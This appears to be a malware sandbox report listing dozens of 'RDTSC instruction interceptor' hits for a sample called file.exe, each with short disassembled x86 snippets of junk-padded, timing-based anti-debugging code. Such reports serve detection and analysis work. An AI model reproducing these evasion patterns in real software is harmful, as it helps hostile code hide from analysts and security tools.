Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9D2E0 second address: A9D368 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F374C500089h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c mov dword ptr [ebp+122D1AF0h], esi 0x00000012 push dword ptr fs:[00000000h] 0x00000019 push 00000000h 0x0000001b push esi 0x0000001c call 00007F374C500078h 0x00000021 pop esi 0x00000022 mov dword ptr [esp+04h], esi 0x00000026 add dword ptr [esp+04h], 00000019h 0x0000002e inc esi 0x0000002f push esi 0x00000030 ret 0x00000031 pop esi 0x00000032 ret 0x00000033 mov dword ptr fs:[00000000h], esp 0x0000003a mov bl, BBh 0x0000003c mov edi, dword ptr [ebp+122D1830h] 0x00000042 mov eax, dword ptr [ebp+122D156Dh] 0x00000048 push FFFFFFFFh 0x0000004a mov di, si 0x0000004d pushad 0x0000004e mov esi, ebx 0x00000050 jmp 00007F374C500082h 0x00000055 popad 0x00000056 push eax 0x00000057 pushad 0x00000058 push esi 0x00000059 push esi 0x0000005a pop esi 0x0000005b pop esi 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9D368 second address: A9D36C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AADB56 second address: AADB6C instructions: 0x00000000 rdtsc 0x00000002 jp 00007F374C500076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 js 00007F374C500076h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AADC90 second address: AADCC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jnp 00007F374CE66326h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007F374CE66339h 0x00000015 jp 00007F374CE66326h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AADCC0 second address: AADD03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F374C500080h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007F374C500083h 0x00000012 mov eax, dword ptr [eax] 0x00000014 jns 00007F374C50007Ah 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e pushad 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 pop edx 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AADDB3 second address: AADDF1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F374CE6632Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F374CE6632Ch 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push edx 0x00000015 pop edx 0x00000016 jmp 00007F374CE66337h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AADDF1 second address: AADE16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F374C500083h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d js 00007F374C500088h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AADE16 second address: AADE1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AADE1A second address: AADE2D instructions: 0x00000000 rdtsc 0x00000002 jo 00007F374C500076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AADE2D second address: AADE32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AADE32 second address: AADE5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007F374C500088h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jbe 00007F374C500076h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AADF59 second address: AADF5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AADF5F second address: AADF87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jnc 00007F374C500076h 0x0000000c pop esi 0x0000000d popad 0x0000000e mov eax, dword ptr [eax] 0x00000010 push esi 0x00000011 jmp 00007F374C50007Ch 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push edx 0x00000020 pop edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AADF87 second address: AADF8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB32D5 second address: AB32EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F374C500084h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB32EE second address: AB32F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB3462 second address: AB346B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB3714 second address: AB371E instructions: 0x00000000 rdtsc 0x00000002 je 00007F374CE66326h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB39AD second address: AB39C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F374C50007Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB39C1 second address: AB39C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB39C7 second address: AB39D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F374C500076h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB93D4 second address: AB93DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F374CE66326h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB93DE second address: AB93FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F374C50007Eh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d js 00007F374C500076h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB93FA second address: AB93FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46F19 second address: A46F1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46F1D second address: A46F21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB8240 second address: AB8246 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB8390 second address: AB839A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F374CE6632Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB8CDD second address: AB8CF3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F374C500082h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB8E52 second address: AB8E6B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F374CE66330h 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABC05F second address: ABC069 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABC069 second address: ABC0AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F374CE66330h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 popad 0x00000012 pushad 0x00000013 jmp 00007F374CE6632Eh 0x00000018 pushad 0x00000019 jng 00007F374CE66326h 0x0000001f js 00007F374CE66326h 0x00000025 popad 0x00000026 jng 00007F374CE6632Eh 0x0000002c pushad 0x0000002d popad 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC1353 second address: AC136F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F374C500076h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F374C50007Dh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC136F second address: AC1373 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8CC9C second address: A8CCA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8CCA1 second address: A8CCA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8CCA7 second address: A8CCF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jnl 00007F374C50007Eh 0x00000011 jl 00007F374C500078h 0x00000017 mov eax, dword ptr [eax] 0x00000019 jmp 00007F374C500080h 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 push ebx 0x00000023 jnl 00007F374C500078h 0x00000029 push esi 0x0000002a pop esi 0x0000002b pop ebx 0x0000002c pop eax 0x0000002d mov edi, dword ptr [ebp+122D258Fh] 0x00000033 call 00007F374C500079h 0x00000038 push ecx 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8CCF5 second address: A8CCF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8CCF9 second address: A8CCFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8CCFD second address: A8CD1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnc 00007F374CE66333h 0x00000010 jmp 00007F374CE6632Dh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8CD1A second address: A8CD2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F374C50007Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8CD2B second address: A8CD2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8CD2F second address: A8CD5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d jmp 00007F374C500089h 0x00000012 jnl 00007F374C50007Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8CD5D second address: A8CD6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [eax] 0x00000007 pushad 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8CD6F second address: A8CD73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8D0E6 second address: A8D105 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F374CE6632Ch 0x00000008 je 00007F374CE66326h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jp 00007F374CE6632Ch 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8D105 second address: A8D116 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F374C50007Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8D2B4 second address: A8D2F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 call 00007F374CE66338h 0x0000000e mov dword ptr [ebp+12453A47h], edi 0x00000014 pop edx 0x00000015 push 00000004h 0x00000017 xor edx, dword ptr [ebp+122D2531h] 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jp 00007F374CE6632Ch 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8D2F3 second address: A8D304 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F374C50007Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8D304 second address: A8D308 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8D9F0 second address: A8D9FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F374C500076h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC09B0 second address: AC09B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC09B4 second address: AC09D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a jmp 00007F374C50007Fh 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pushad 0x00000014 popad 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC09D4 second address: AC09DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC09DD second address: AC0A11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F374C500087h 0x0000000d jmp 00007F374C500083h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC0CAE second address: AC0CCB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007F374CE6632Dh 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d jo 00007F374CE6632Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC0E66 second address: AC0E6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC46AD second address: AC46B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC46B3 second address: AC46DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jc 00007F374C500097h 0x0000000d jmp 00007F374C500087h 0x00000012 pushad 0x00000013 push edx 0x00000014 pop edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC8AEC second address: AC8AF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC8C25 second address: AC8C29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC8C29 second address: AC8C2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC8C2D second address: AC8C36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC8C36 second address: AC8C3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC8C3C second address: AC8C51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F374C500076h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jp 00007F374C500076h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC8D85 second address: AC8D8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC8D8C second address: AC8D9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jng 00007F374C500076h 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC9074 second address: AC907C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC907C second address: AC9080 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC91E3 second address: AC91E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC950F second address: AC951B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push ecx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC951B second address: AC9542 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ebx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F374CE66336h 0x00000010 jo 00007F374CE66326h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC96A0 second address: AC96C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F374C500084h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d jnp 00007F374C500076h 0x00000013 pushad 0x00000014 popad 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC9E91 second address: AC9E96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACD790 second address: ACD7AD instructions: 0x00000000 rdtsc 0x00000002 jng 00007F374C50007Ch 0x00000008 jno 00007F374C500076h 0x0000000e push ecx 0x0000000f pushad 0x00000010 popad 0x00000011 pop ecx 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push edx 0x00000015 jnp 00007F374C500082h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACD7AD second address: ACD7BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F374CE66326h 0x0000000a jc 00007F374CE6632Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACDA86 second address: ACDA8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD0291 second address: AD0296 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD0296 second address: AD02E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F374C500089h 0x00000009 jmp 00007F374C50007Dh 0x0000000e popad 0x0000000f jo 00007F374C500086h 0x00000015 jmp 00007F374C50007Eh 0x0000001a pushad 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jo 00007F374C50007Eh 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD02E3 second address: AD02E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACFE62 second address: ACFE6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD80D4 second address: AD80DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD6A2C second address: AD6A3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F374C50007Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD6A3C second address: AD6A40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD6A40 second address: AD6A46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD6E93 second address: AD6EBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F374CE66334h 0x00000009 jmp 00007F374CE66333h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD6EBF second address: AD6EC8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD703B second address: AD703F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD703F second address: AD7043 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD7043 second address: AD707A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 pop edi 0x0000000a pushad 0x0000000b jmp 00007F374CE66339h 0x00000010 jmp 00007F374CE66331h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD707A second address: AD7097 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 jl 00007F374C5000A3h 0x0000000c jmp 00007F374C50007Bh 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 rdtsc
